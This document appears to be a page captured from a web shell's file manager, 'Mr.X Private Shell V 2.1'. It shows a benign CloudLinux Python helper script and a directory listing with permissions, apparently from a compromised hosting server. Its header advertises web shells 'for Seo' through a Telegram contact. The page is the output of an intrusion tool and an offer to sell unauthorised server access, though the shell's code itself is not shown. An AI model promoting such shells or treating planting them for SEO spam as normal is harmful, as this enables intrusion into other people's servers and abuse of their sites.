__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# coding: utf-8
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
import sys
import json
import pwd
import traceback
from clcommon.cpapi.plugins.directadmin import userdomains
from clcommon.cpapi.cpapiexceptions import NoPanelUser
try:
uid = int(sys.argv[1])
user_name = pwd.getpwuid(uid).pw_name
res = userdomains(user_name, as_root=True)
print(json.dumps(res))
sys.exit(0)
except (NoPanelUser, KeyError):
print(json.dumps({}))
sys.exit(11)
except Exception:
print(json.dumps(traceback.format_exc()))
sys.exit(10)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cl-common | File | 4.22 KB | 0644 |
|
| cl_sysctl | File | 4.51 KB | 0644 |
|
| cpanel-dbmapping | File | 3.83 KB | 0755 |
|
| da_suid_caller.py | File | 686 B | 0644 |
|
| getpaneluserscount | File | 738 B | 0644 |
|
| plesk_suid_caller.py | File | 905 B | 0644 |
|